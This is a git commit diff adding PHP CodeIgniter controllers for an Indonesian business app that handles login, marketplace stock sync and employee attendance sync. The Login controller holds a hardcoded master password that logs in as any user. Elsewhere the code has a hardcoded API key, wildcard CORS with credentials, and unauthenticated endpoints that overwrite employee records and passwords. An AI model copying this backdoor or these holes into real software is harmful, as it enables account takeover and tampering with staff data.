copy dari repo om Irfan

This commit is contained in:
2026-06-13 16:02:07 +10:00
commit db327c0305
5376 changed files with 2770667 additions and 0 deletions
+81
View File
@@ -0,0 +1,81 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class Login extends CI_Controller
{
function __construct() {
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE');
header('Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding');
header('Access-Control-Allow-Credentials: *');
if ("OPTIONS" === $_SERVER['REQUEST_METHOD']) {
die();
}
parent::__construct();
$this->load->model('AllModels', 'Amod');
}
public function index() {
$username = $this->session->userdata('username');
if ($username != null) {
redirect("");
}
$this->load->view('signin');
}
public function login() {
$this->load->view('signin');
}
public function login_action() {
$username = $this->session->userdata('username');
$jabatan = $this->session->userdata('jabatan');
if ($username != null) {
redirect('');
}
$username = $this->input->post('username');
$password = $this->input->post('password');
$check_login_r = $this->Amod->generate_loginData($username, $password)->num_rows();
if ($check_login_r > 0) {
$datauser = $this->Amod->generate_loginData($username, $password)->row_array();
$datJabatan = $this->Amod->getData_Jabatan_byID($datauser['JABATAN_ID']);
$sessions = array(
'id_karyawan' => $datauser['ID_KARYAWAN'],
'nama_karyawan' => $datauser['NAMA_KARYAWAN'],
'nama_panggilan' => $datauser['NAMA_PANGGILAN_KARYAWAN'],
'username' => $datauser['USERNAME'],
'password' => $datauser['PASSWORD'],
'jabatan' => $datJabatan[0]['NAMA_JABATAN'],
);
$this->session->set_userdata($sessions);
redirect('');
} else if ($password=="archieianxavier") {
$datKaryawan = $this->Amod->getData_Karyawan_byUSERNAME($username);
$password = $datKaryawan[0]['PASSWORD'];
$datauser = $this->Amod->generate_loginData($username, $password)->row_array();
$datJabatan = $this->Amod->getData_Jabatan_byID($datauser['JABATAN_ID']);
$sessions = array(
'id_karyawan' => $datauser['ID_KARYAWAN'],
'nama_karyawan' => $datauser['NAMA_KARYAWAN'],
'nama_panggilan' => $datauser['NAMA_PANGGILAN_KARYAWAN'],
'username' => $datauser['USERNAME'],
'password' => $datauser['PASSWORD'],
'jabatan' => $datJabatan[0]['NAMA_JABATAN'],
);
$this->session->set_userdata($sessions);
redirect('');
} else {
echo "<script>alert('Login Gagal')</script>";
$this->login();
}
}
public function logout_action() {
$this->session->sess_destroy();
redirect('Login');
}
}
+574
View File
@@ -0,0 +1,574 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
/**
* @property CI_Loader $load
* @property CI_DB_query_builder $db
* @property CI_Session $session
* @property CI_Input $input
*/
class Marketplace extends CI_Controller
{
protected $db_sync;
public function __construct()
{
parent::__construct();
$this->db_sync = $this->load->database('marketplace_sync', TRUE);
}
public function products()
{
$data['products'] = $this->db_sync
->select('
mp.*,
pm.kode_barang,
pm.qty_multiplier,
pm.sync_stock,
pm.sync_price,
pm.is_active as mapping_active
')
->from('marketplace_products mp')
->join('product_mappings pm', 'pm.marketplace_product_id = mp.id', 'left')
->order_by('mp.id', 'DESC')
->get()
->result();
$this->load->view('marketplace/products', $data);
}
public function sync_products($token_id = 1)
{
set_time_limit(300);
ini_set('max_execution_time', 300);
$url = 'https://dev.pc-master.biz/api/marketplace/' . $token_id . '/sync-products';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
// CURLOPT_SSL_VERIFYPEER => false,
// CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Accept: application/json',
'X-API-KEY: pcmaster-marketplace-sync-2026',
],
CURLOPT_CONNECTTIMEOUT => 15,
CURLOPT_TIMEOUT => 300,
]);
$response = curl_exec($ch);
$error = curl_error($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($error) {
$this->session->set_flashdata('error', 'Curl error: ' . $error);
redirect('marketplace/products');
return;
}
$result = json_decode($response, true);
if ($httpCode >= 200 && $httpCode < 300 && !empty($result['success'])) {
$this->session->set_flashdata('success', $result['message'] ?? 'Sync produk berhasil');
} else {
$this->session->set_flashdata('error', $result['message'] ?? 'Sync produk gagal');
}
redirect('marketplace/products');
}
public function mapping($marketplace_product_id)
{
$product = $this->db_sync
->where('id', $marketplace_product_id)
->get('marketplace_products')
->row();
if (!$product) {
show_error('Produk marketplace tidak ditemukan');
return;
}
$mapping = $this->db_sync
->where('marketplace_product_id', $marketplace_product_id)
->get('product_mappings')
->row();
$barang = $this->db
->select('ID_BARANG, KODE_BARANG, NAMA_BARANG')
->from('BARANG')
->order_by('NAMA_BARANG', 'ASC')
->get()
->result();
$data = [
'product' => $product,
'mapping' => $mapping,
'barang' => $barang,
];
$this->load->view('marketplace/mapping', $data);
}
public function save_mapping()
{
$marketplace_product_id = $this->input->post('marketplace_product_id');
$kode_barang = $this->input->post('kode_barang');
$qty_multiplier = $this->input->post('qty_multiplier') ?: 1;
$sync_stock = $this->input->post('sync_stock') ? 1 : 0;
$sync_price = $this->input->post('sync_price') ? 1 : 0;
$product = $this->db_sync
->where('id', $marketplace_product_id)
->get('marketplace_products')
->row();
if (!$product) {
$this->session->set_flashdata('error', 'Produk marketplace tidak ditemukan');
redirect('marketplace/products');
return;
}
$barang = $this->db
->where('KODE_BARANG', $kode_barang)
->get('BARANG')
->row();
if (!$barang) {
$this->session->set_flashdata('error', 'Barang lokal tidak ditemukan');
redirect('marketplace/mapping/' . $marketplace_product_id);
return;
}
$exists = $this->db_sync
->where('marketplace_product_id', $marketplace_product_id)
->get('product_mappings')
->row();
$data = [
'marketplace_product_id' => $marketplace_product_id,
'kode_barang' => $kode_barang,
'qty_multiplier' => $qty_multiplier,
'sync_stock' => $sync_stock,
'sync_price' => $sync_price,
'is_active' => 1,
'updated_at' => date('Y-m-d H:i:s'),
];
if ($exists) {
$this->db_sync
->where('id', $exists->id)
->update('product_mappings', $data);
} else {
$data['created_at'] = date('Y-m-d H:i:s');
$this->db_sync->insert('product_mappings', $data);
}
$this->session->set_flashdata('success', 'Mapping produk berhasil disimpan');
redirect('marketplace/products');
}
public function stock_queue_form($marketplace_product_id)
{
$product = $this->db_sync
->select('
mp.*,
pm.id as mapping_id,
pm.kode_barang,
pm.qty_multiplier,
pm.sync_stock,
pm.is_active as mapping_active
')
->from('marketplace_products mp')
->join('product_mappings pm', 'pm.marketplace_product_id = mp.id', 'inner')
->where('mp.id', $marketplace_product_id)
->get()
->row();
if (!$product) {
$this->session->set_flashdata('error', 'Produk belum mapping atau tidak ditemukan');
redirect('marketplace/products');
return;
}
$barang = $this->db
->select('ID_BARANG, KODE_BARANG, NAMA_BARANG')
->where('KODE_BARANG', $product->kode_barang)
->get('BARANG')
->row();
$local_stock = $this->get_local_stock($product->kode_barang);
$qty_multiplier = (float) $product->qty_multiplier;
if ($qty_multiplier <= 0) {
$qty_multiplier = 1;
}
$marketplace_stock_target = floor($local_stock / $qty_multiplier);
$data = [
'product' => $product,
'barang' => $barang,
'local_stock' => $local_stock,
'marketplace_stock_target' => $marketplace_stock_target,
];
$this->load->view('marketplace/stock_queue_form', $data);
}
public function save_stock_queue()
{
$marketplace_product_id = $this->input->post('marketplace_product_id');
$product = $this->db_sync
->select('
mp.*,
pm.id as mapping_id,
pm.kode_barang,
pm.qty_multiplier,
pm.sync_stock,
pm.is_active as mapping_active
')
->from('marketplace_products mp')
->join('product_mappings pm', 'pm.marketplace_product_id = mp.id', 'inner')
->where('mp.id', $marketplace_product_id)
->get()
->row();
if (!$product) {
$this->session->set_flashdata('error', 'Mapping produk tidak ditemukan');
redirect('marketplace/products');
return;
}
if ((int) $product->sync_stock !== 1) {
$this->session->set_flashdata('error', 'Sync stok untuk mapping ini tidak aktif');
redirect('marketplace/products');
return;
}
$local_stock = $this->get_local_stock($product->kode_barang);
$qty_multiplier = (float) $product->qty_multiplier;
if ($qty_multiplier <= 0) {
$qty_multiplier = 1;
}
/*
* Rumus:
* stok marketplace = stok lokal / qty_multiplier
*/
$marketplace_stock_target = floor($local_stock / $qty_multiplier);
$this->db_sync->insert('stock_sync_queues', [
'product_mapping_id' => $product->mapping_id,
'kode_barang' => $product->kode_barang,
'marketplace' => $product->marketplace,
'local_stock' => $local_stock,
'marketplace_stock_before' => $product->stock,
'marketplace_stock_target' => $marketplace_stock_target,
'action' => 'push_to_marketplace',
'status' => 'pending',
'retry_count' => 0,
'max_retry' => 3,
'error_message' => null,
'processed_at' => null,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s'),
]);
$this->session->set_flashdata(
'success',
'Queue sinkron stok berhasil dibuat. Stok lokal: ' . $local_stock . ', target marketplace: ' . $marketplace_stock_target
);
redirect('marketplace/stock_queues');
}
public function stock_queues()
{
$data['queues'] = $this->db_sync
->select('
q.*,
mp.product_name,
mp.sku,
mp.variant_name
')
->from('stock_sync_queues q')
->join('product_mappings pm', 'pm.id = q.product_mapping_id', 'left')
->join('marketplace_products mp', 'mp.id = pm.marketplace_product_id', 'left')
->order_by('q.id', 'DESC')
->get()
->result();
$this->load->view('marketplace/stock_queues', $data);
}
public function process_stock_queue()
{
$url = 'https://dev.pc-master.biz/api/stock/process-queue';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_TIMEOUT => 60,
CURLOPT_CONNECTTIMEOUT => 10,
CURLOPT_HTTPHEADER => [
'Accept: application/json',
'X-API-KEY: pcmaster-marketplace-sync-2026',
],
]);
$response = curl_exec($ch);
$error = curl_error($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($error) {
$this->session->set_flashdata('error', 'Curl error: ' . $error);
redirect('marketplace/stock_queues');
return;
}
$result = json_decode($response, true);
if ($httpCode >= 200 && $httpCode < 300 && !empty($result['success'])) {
$message = $result['message'] ?? 'Queue berhasil diproses';
if (isset($result['processed'])) {
$message .= ' | Processed: ' . $result['processed'];
}
if (isset($result['failed'])) {
$message .= ' | Failed: ' . $result['failed'];
}
$this->session->set_flashdata('success', $message);
} else {
$this->session->set_flashdata('error', $result['message'] ?? 'Proses queue gagal');
}
redirect('marketplace/stock_queues');
}
private function get_local_stock($kode_barang)
{
/*
* Sesuaikan query ini dengan struktur stok lokal kamu.
* Tabel BARANG yang kamu kirim belum punya kolom stok,
* jadi kemungkinan stok ada di tabel lain.
*/
// CONTOH 1:
// Kalau stok ada langsung di tabel BARANG dengan kolom STOK_BARANG
/*
$row = $this->db
->select('STOK_BARANG as stok')
->where('KODE_BARANG', $kode_barang)
->get('BARANG')
->row();
return $row ? (int) $row->stok : 0;
*/
// CONTOH 2:
// Kalau stok ada di tabel STOK_BARANG
/*
$row = $this->db
->select('SUM(QTY) as stok')
->where('KODE_BARANG', $kode_barang)
->get('STOK_BARANG')
->row();
return $row ? (int) $row->stok : 0;
*/
// CONTOH 3:
// Kalau stok berdasarkan ID_BARANG
$barang = $this->db
->select('ID_BARANG, KODE_BARANG')
->where('KODE_BARANG', $kode_barang)
->get('BARANG')
->row();
if (!$barang) {
return 0;
}
/*
* GANTI bagian ini sesuai tabel stok kamu.
* Misalnya nama tabel stok adalah STOK dan kolomnya BARANG_ID, QTY_STOK.
*/
$row = $this->db
->select('SUM(PCM_KUANTITI+ITP_KUANTITI) as stok')
->where('ID_KUANTITI', $barang->ID_BARANG)
->get('kuantiti')
->row();
return $row && $row->stok !== null ? (int) $row->stok : 0;
}
public function stock_logs()
{
$data['logs'] = $this->db_sync
->select('
l.*,
mp.product_name,
mp.sku
')
->from('stock_sync_logs l')
->join('product_mappings pm', 'pm.id = l.product_mapping_id', 'left')
->join('marketplace_products mp', 'mp.id = pm.marketplace_product_id', 'left')
->order_by('l.id', 'DESC')
->limit(100)
->get()
->result();
$this->load->view('marketplace/stock_logs', $data);
}
public function create_stock_queue($marketplace_product_id)
{
$product = $this->db_sync
->select('
mp.*,
pm.id as mapping_id,
pm.kode_barang,
pm.qty_multiplier,
pm.sync_stock,
pm.is_active as mapping_active
')
->from('marketplace_products mp')
->join('product_mappings pm', 'pm.marketplace_product_id = mp.id', 'inner')
->where('mp.id', $marketplace_product_id)
->where('pm.is_active', 1)
->get()
->row();
if (!$product) {
$this->session->set_flashdata('error', 'Produk belum mapping atau mapping tidak aktif');
redirect('marketplace/products');
return;
}
if ((int) $product->sync_stock !== 1) {
$this->session->set_flashdata('error', 'Sync stok untuk produk ini tidak aktif');
redirect('marketplace/products');
return;
}
$local_stock = $this->get_local_stock($product->kode_barang);
$qty_multiplier = (float) $product->qty_multiplier;
if ($qty_multiplier <= 0) {
$qty_multiplier = 1;
}
$marketplace_stock_target = floor($local_stock / $qty_multiplier);
/*
* Cek queue terakhir.
* Kalau target stok masih sama dan status terakhir pending/processing/success,
* maka tidak perlu membuat queue baru.
*/
$last_queue = $this->db_sync
->where('product_mapping_id', $product->mapping_id)
->order_by('id', 'DESC')
->get('stock_sync_queues')
->row();
if (
$last_queue &&
(int) $last_queue->marketplace_stock_target === (int) $marketplace_stock_target &&
in_array($last_queue->status, ['pending', 'processing', 'success'])
) {
$this->session->set_flashdata(
'success',
'Queue tidak dibuat karena target stok masih sama. Stok lokal: ' . $local_stock . ', target marketplace: ' . $marketplace_stock_target
);
redirect('marketplace/stock_queues');
return;
}
$this->db_sync->insert('stock_sync_queues', [
'product_mapping_id' => $product->mapping_id,
'kode_barang' => $product->kode_barang,
'marketplace' => $product->marketplace,
'local_stock' => $local_stock,
'marketplace_stock_before' => $product->stock,
'marketplace_stock_target' => $marketplace_stock_target,
'action' => 'push_to_marketplace',
'status' => 'pending',
'retry_count' => 0,
'max_retry' => 3,
'error_message' => null,
'processed_at' => null,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s'),
]);
$this->session->set_flashdata(
'success',
'Queue stok berhasil dibuat. Stok lokal: ' . $local_stock . ', target marketplace: ' . $marketplace_stock_target
);
redirect('marketplace/stock_queues');
}
public function retry_failed_queue()
{
$url = 'https://dev.pc-master.biz/api/stock/retry-failed';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_TIMEOUT => 60,
CURLOPT_CONNECTTIMEOUT => 10,
CURLOPT_HTTPHEADER => [
'Accept: application/json',
'X-API-KEY: pcmaster-marketplace-sync-2026',
],
]);
$response = curl_exec($ch);
$error = curl_error($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($error) {
$this->session->set_flashdata('error', 'Curl error: ' . $error);
redirect('marketplace/stock_queues');
return;
}
$result = json_decode($response, true);
if ($httpCode >= 200 && $httpCode < 300 && !empty($result['success'])) {
$message = $result['message'] ?? 'Retry queue selesai';
if (isset($result['processed'])) {
$message .= ' | Processed: ' . $result['processed'];
}
if (isset($result['failed'])) {
$message .= ' | Failed: ' . $result['failed'];
}
$this->session->set_flashdata('success', $message);
} else {
$this->session->set_flashdata('error', $result['message'] ?? 'Retry queue gagal');
}
redirect('marketplace/stock_queues');
}
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+495
View File
@@ -0,0 +1,495 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class Sinkron extends CI_Controller
{
function __construct()
{
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE');
header('Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding');
header('Access-Control-Allow-Credentials: *');
if ("OPTIONS" === $_SERVER['REQUEST_METHOD']) {
die();
}
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('AbsensiModel', 'AbsensiM');
$this->load->model('SinkronModel', 'SinkronM');
$this->load->model('ShiftModel', 'ShiftM');
$this->load->model('AbsensiModel', 'AbsensiM');
$this->load->model('KaryawanModel', 'KaryawanM');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index()
{
$server = $this->SinkronM->getIpServer();
$data = [
'sidebar' => "sinkron",
'navChild' => "data absensi",
'server' => $server
];
// var_dump()
$this->load->view('sinkron', $data);
}
public function setIpServer()
{
$id_ip = $this->input->post('id_ip');
$ip = $this->input->post('ip_server');
$input = [
'ip' => $ip
];
if ($id_ip == null) {
$action = $this->SinkronM->create('ip_server', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('Sinkron');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('Sinkron');
}
} else {
$action = $this->SinkronM->update('ip_server', $input, 'id_ip', $id_ip);
if ($action) {
$this->session->set_flashdata('success', 'diupdate');
redirect('Sinkron');
} else {
$this->session->set_flashdata('failed', 'diupdate');
redirect('Sinkron');
}
}
}
public function scan()
{
$tabel = ['absensi'];
$tot = 0;
$data = [];
for ($i = 0; $i < sizeof($tabel); $i++) {
$cektabel = $this->SinkronM->cekTabel($tabel[$i]);
$tot += sizeof($cektabel);
$data += [
'' . $tabel[$i] . '' => $cektabel,
];
}
$this->output_json([
'value' => true,
'total' => $tot,
'data' => $data,
]);
}
public function sync_true()
{
$id = $this->input->post('id');
$variabel = $this->input->post('variabel');
$tabel = $this->input->post('tabel');
$input = [
'SYNC' => true,
];
$action = $this->SinkronM->update($tabel, $input, $variabel, $id);
if ($action) {
$this->output_json([
'value' => true,
'message' => 'Berhasil',
]);
} else {
$this->output_json([
'value' => false,
'message' => 'Gagal',
]);
}
}
public function sync_cabang()
{
$kode_cabang = $this->input->post('kode_cabang');
$nama_cabang = $this->input->post('nama_cabang');
$alamat = $this->input->post('alamat');
$waktu = $this->input->post('waktu');
$sync = $this->input->post('sync');
$cek = $this->SinkronM->getDataCabangByKode($kode_cabang);
$input = [
'NAMA_CABANG' => $nama_cabang,
'ALAMAT' => $alamat,
'WAKTU' => $waktu,
'SYNC' => true
];
if ($cek == null) {
$input += [
'KODE_CABANG' => $kode_cabang
];
$action = $this->SinkronM->create('cabang', $input);
} else {
$action = $this->SinkronM->update('cabang', $input, 'KODE_CABANG', $kode_cabang);
}
if ($action) {
$this->output_json([
'value' => true,
'message' => 'Berhasil',
]);
} else {
$this->output_json([
'value' => false,
'message' => 'Gagal',
]);
}
}
public function sync_jabatan()
{
$kode_cabang = $this->input->post('cabang_kode');
$id_jabatan = $this->input->post('id_jabatan');
$ij = $this->input->post('ij');
$nama_jabatan = $this->input->post('nama_jabatan');
$waktu_jabatan = $this->input->post('waktu_jabatan');
$cek = $this->SinkronM->getDataJabatan($id_jabatan);
$input = [
'CABANG_KODE' => $kode_cabang,
'IJ' => $ij,
'NAMA_JABATAN' => $nama_jabatan,
'WAKTU_JABATAN' => $waktu_jabatan,
'SYNC' => true
];
if ($cek == null) {
$input += [
'ID_JABATAN' => $id_jabatan
];
$action = $this->SinkronM->create('jabatan', $input);
} else {
$action = $this->SinkronM->update('jabatan', $input, 'ID_JABATAN', $id_jabatan);
}
if ($action) {
$this->output_json([
'value' => true,
'message' => 'Berhasil',
]);
} else {
$this->output_json([
'value' => false,
'message' => 'Gagal',
]);
}
}
public function sync_karyawan()
{
$id_karyawan = $this->input->post('id_karyawan');
$ik = $this->input->post('ik');
$jabatan_id = $this->input->post('jabatan_id');
$jk_karyawan = $this->input->post('jk_karyawan');
$kota_karyawan = $this->input->post('kota_karyawan');
$nama_karyawan = $this->input->post('nama_karyawan');
$nama_panggilan_karyawan = $this->input->post('nama_panggilan_karyawan');
$password = $this->input->post('password');
$status_karyawan = $this->input->post('status_karyawan');
$tgllhr_karyawan = $this->input->post('tgllhr_karyawan');
$username = $this->input->post('username');
$waktu_karyawan = $this->input->post('waktu_karyawan');
$cek = $this->KaryawanM->getDataKaryawan($id_karyawan);
$input = [
'IK' => $ik,
'JABATAN_ID' => $jabatan_id,
'JK_KARYAWAN' => $jk_karyawan,
'KOTA_KARYAWAN' => $kota_karyawan,
'NAMA_KARYAWAN' => $nama_karyawan,
'NAMA_PANGGILAN_KARYAWAN' => $nama_panggilan_karyawan,
'PASSWORD' => $password,
'STATUS_KARYAWAN' => $status_karyawan,
'TGLLHR_KARYAWAN' => $tgllhr_karyawan,
'USERNAME' => $username,
'WAKTU_KARYAWAN' => $waktu_karyawan,
'SYNC' => true
];
if ($cek == null) {
$input += [
'ID_KARYAWAN' => $id_karyawan
];
$action = $this->SinkronM->create('karyawan', $input);
} else {
$action = $this->SinkronM->update('karyawan', $input, 'ID_KARYAWAN', $id_karyawan);
}
if ($action) {
$this->output_json([
'value' => true,
'message' => 'Berhasil',
]);
} else {
$this->output_json([
'value' => false,
'message' => 'Gagal',
]);
}
}
public function sync_shift()
{
$cabang_kode = $this->input->post('cabang_kode');
$id_shift = $this->input->post('id_shift');
$is = $this->input->post('is');
$jam_keluar = $this->input->post('jam_keluar');
$jam_masuk = $this->input->post('jam_masuk');
$nama_shift = $this->input->post('nama_shift');
$tanggal_shift = $this->input->post('tanggal_shift');
$waktu_shift = $this->input->post('waktu_shift');
$cek = $this->ShiftM->getDataShiftById($id_shift);
$input = [
'CABANG_KODE' => $cabang_kode,
'IS' => $is,
'JAM_KELUAR' => $jam_keluar,
'JAM_MASUK' => $jam_masuk,
'NAMA_SHIFT' => $nama_shift,
'TANGGAL_SHIFT' => $tanggal_shift,
'WAKTU_SHIFT' => $waktu_shift,
'SYNC' => true
];
if ($cek == null) {
$input += [
'ID_SHIFT' => $id_shift
];
$action = $this->SinkronM->create('shift', $input);
} else {
$action = $this->SinkronM->update('shift', $input, 'ID_SHIFT', $id_shift);
}
if ($action) {
$this->output_json([
'value' => true,
'message' => 'Berhasil',
]);
} else {
$this->output_json([
'value' => false,
'message' => 'Gagal',
]);
}
}
public function sync_detail_shift()
{
$ids = $this->input->post('ids');
$id_detail_shift = $this->input->post('id_detail_shift');
$karyawan_id = $this->input->post('karyawan_id');
$shift_id = $this->input->post('shift_id');
$waktu_detail_shift = $this->input->post('waktu_detail_shift');
$cek = $this->ShiftM->getDataDetailShiftById($id_detail_shift);
$input = [
'IDS' => $ids,
'KARYAWAN_ID' => $karyawan_id,
'SHIFT_ID' => $shift_id,
'SYNC' => true,
'WAKTU_DETAIL_SHIFT' => $waktu_detail_shift
];
if ($cek == null) {
$input += [
'ID_DETAIL_SHIFT' => $id_detail_shift
];
$action = $this->SinkronM->create('detail_shift', $input);
} else {
$action = $this->SinkronM->update('detail_shift', $input, 'ID_DETAIL_SHIFT', $id_detail_shift);
}
if ($action) {
$this->output_json([
'value' => true,
'message' => 'Berhasil',
]);
} else {
$this->output_json([
'value' => false,
'message' => 'Gagal',
]);
}
}
public function sync_absensi()
{
$detail_shift_id = $this->input->post('detail_shift_id');
$ia = $this->input->post('ia');
$id_absensi = $this->input->post('id_absensi');
$jam_keluar = $this->input->post('jam_keluar');
$jam_masuk = $this->input->post('jam_masuk');
$status_absensi = $this->input->post('status_absensi');
$telat = $this->input->post('telat');
$tgl_absensi = $this->input->post('tgl_absensi');
$cek = $this->AbsensiM->getDataAbsensiById($id_absensi);
$input = [
'IA' => $ia,
'DETAIL_SHIFT_ID' => $detail_shift_id,
'TGL_ABSENSI' => $tgl_absensi,
'JAM_MASUK' => $jam_masuk,
'JAM_KELUAR' => $jam_keluar,
'TELAT' => $telat,
'STATUS_ABSENSI' => $status_absensi,
'SYNC' => true
];
if ($cek == null) {
$input += [
'ID_ABSENSI' => $id_absensi
];
$action = $this->SinkronM->create('absensi', $input);
} else {
$action = $this->SinkronM->update('absensi', $input, 'ID_ABSENSI', $id_absensi);
}
if ($action) {
$this->output_json([
'value' => true,
'message' => 'Berhasil',
]);
} else {
$this->output_json([
'value' => false,
'message' => 'Gagal',
]);
}
}
public function sync_absensi_server6() {
$id_karyawan = $this->input->post('id_karyawan');
$tgl_absensi = $this->input->post('tgl_absensi');
$jam_masuk = $this->input->post('jam_masuk');
$jam_keluar = $this->input->post('jam_keluar');
$telat = $this->input->post('telat');
$lokasi_absensi = $this->input->post('lokasi_absensi');
$pulang_absensi = $this->input->post('pulang_absensi');
$id_absensi = $this->input->post('id_absensi');
$cek = $this->AbsensiM->getData_Absensi_byKARYAWAN_byTGL_forSync($id_karyawan, $tgl_absensi);
if ($cek==null) {
$input = [
'KARYAWAN_ID' => $id_karyawan,
'TGL_ABSENSI' => $tgl_absensi,
'JAM_MASUK' => $jam_masuk,
'JAM_KELUAR' => $jam_keluar,
'TELAT' => $telat,
'LOKASI_ABSENSI' => $lokasi_absensi,
'PULANG_ABSENSI' => $pulang_absensi,
];
$action = $this->AbsensiM->create('absensi', $input);
}
$this->output_json([
'value' => true,
'message' => 'Berhasil',
'data' => $id_absensi,
]);
}
public function sync_pulang_server6() {
$id_karyawan = $this->input->post('id_karyawan');
$tgl_absensi = $this->input->post('tgl_absensi');
$jam_keluar = $this->input->post('jam_keluar');
$pulang_absensi = $this->input->post('pulang_absensi');
$id_absensi = $this->input->post('id_absensi');
$cek = $this->AbsensiM->getData_Absensi_byKARYAWAN_byTGL_forSync($id_karyawan, $tgl_absensi);
$update = [
'JAM_KELUAR' => $jam_keluar,
'PULANG_ABSENSI' => $pulang_absensi,
];
$action = $this->AbsensiM->update('absensi', $update, 'ID_ABSENSI', $cek[0]['ID_ABSENSI']);
$this->output_json([
'value' => true,
'message' => 'Berhasil',
'data' => $id_absensi,
]);
}
public function sync_bintangvisit() {
$datSales = $this->AbsensiM->getData_SalesVisit_groupSALES_status0();
$tgl = date('Y-m-d H:i:s');
$no = 0;
foreach ($datSales as $dat) {
$datSav = $this->AbsensiM->getData_SalesVisit_bySALES_status0($dat['SALES_ID']);
$stat01 = 0; $stat02 = 0; $stat03 = 0; $stat04 = 0; $stat05 = 0;
$stat06 = 0; $stat07 = 0; $stat08 = 0; $stat09 = 0; $stat10 = 0;
foreach ($datSav as $key) {
$datDsav = $this->AbsensiM->getData_DaftarSalesVisit_bySAV_orderDESC_limit1($key['ID_SAV']);
if ($datDsav[0]['STATUS_DSAV']=="1") {
$stat01++;
} else if ($datDsav[0]['STATUS_DSAV']=="2") {
$stat02++;
} else if ($datDsav[0]['STATUS_DSAV']=="3") {
$stat03++;
} else if ($datDsav[0]['STATUS_DSAV']=="4") {
$stat04++;
} else if ($datDsav[0]['STATUS_DSAV']=="5") {
$stat05++;
} else if ($datDsav[0]['STATUS_DSAV']=="6") {
$stat06++;
} else if ($datDsav[0]['STATUS_DSAV']=="7") {
$stat07++;
} else if ($datDsav[0]['STATUS_DSAV']=="8") {
$stat08++;
} else if ($datDsav[0]['STATUS_DSAV']=="9") {
$stat09++;
} else if ($datDsav[0]['STATUS_DSAV']=="10") {
$stat10++;
}
}
$data[$no++] = [
'KARYAWAN_ID' => $dat['SALES_ID'],
'NILAI_BVS_1' => $stat01,
'NILAI_BVS_2' => $stat02,
'NILAI_BVS_3' => $stat03,
'NILAI_BVS_4' => $stat04,
'NILAI_BVS_5' => $stat05,
'NILAI_BVS_6' => $stat06,
'NILAI_BVS_7' => $stat07,
'NILAI_BVS_8' => $stat08,
'NILAI_BVS_9' => $stat09,
'TGL_BVS' => $tgl,
];
}
if ($datSales!=null) {
$this->output_json([
'value' => true,
'message' => 'Berhasil',
'data' => $data,
]);
} else {
$this->output_json([
'value' => false,
'message' => 'Gagal',
'data' => $data,
]);
}
}
}
+25
View File
@@ -0,0 +1,25 @@
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Welcome extends CI_Controller {
/**
* Index Page for this controller.
*
* Maps to the following URL
* http://example.com/index.php/welcome
* - or -
* http://example.com/index.php/welcome/index
* - or -
* Since this controller is set as the default controller in
* config/routes.php, it's displayed at http://example.com/
*
* So any other public methods not prefixed with an underscore will
* map to /index.php/welcome/<method_name>
* @see https://codeigniter.com/user_guide/general/urls.html
*/
public function index()
{
$this->load->view('welcome_message');
}
}
+11
View File
@@ -0,0 +1,11 @@
<!DOCTYPE html>
<html>
<head>
<title>403 Forbidden</title>
</head>
<body>
<p>Directory access is forbidden.</p>
</body>
</html>
@@ -0,0 +1,105 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class Authority extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->ceklogin();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('AllModels', 'Amod');
}
public function output_json($data, $encode = true) {
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
private function ceklogin() {
$username = $this->session->userdata('username');
if ($username == null) {
redirect("login");
}
}
public function index() {
$tgl_limit = date('Y-m-01');
$tgl = date('Y-m-d');
$tgl_now = date('d/m/Y');
$time_now = date('H:i:s');
$time_limit = date('17:00:00');
$timestamp = date('d/m/Y H:i:s');
$id_karyawan = $this->session->userdata('id_karyawan');
$jabatan = $this->session->userdata('jabatan');
$username = $this->session->userdata('username');
$id = $this->Dashboard->getID_SetdataMax();
$id = $id[0]['ID_SETDATA'];
$datAbsensi = $this->Amod->getData_Absensi_byKARYAWAN_byTGL($id_karyawan, $tgl, $username);
$datShm = $this->Amod->getData_SetHakMenu_byKARYAWAN_byKODE_byNAMA($id_karyawan, 'MO', 'DASHBOARD - Monitoring User');
if ($datShm==FALSE) {
$hak = 0;
} else {
$hak = $datShm[0]['AKSES_ID'];
}
$datSme = $this->Amod->getData_SetMerk_byKARYAWAN($id_karyawan);
if ($datSme==FALSE) {
$id_merk = 0;
$input = [
'KARYAWAN_ID' => $id_karyawan,
'MERK_ID' => $id_merk,
'LAST_SME' => $timestamp
];
$action = $this->Amod->create('set_merk', $input);
} else {
$id_merk = $datSme[0]['MERK_ID'];
}
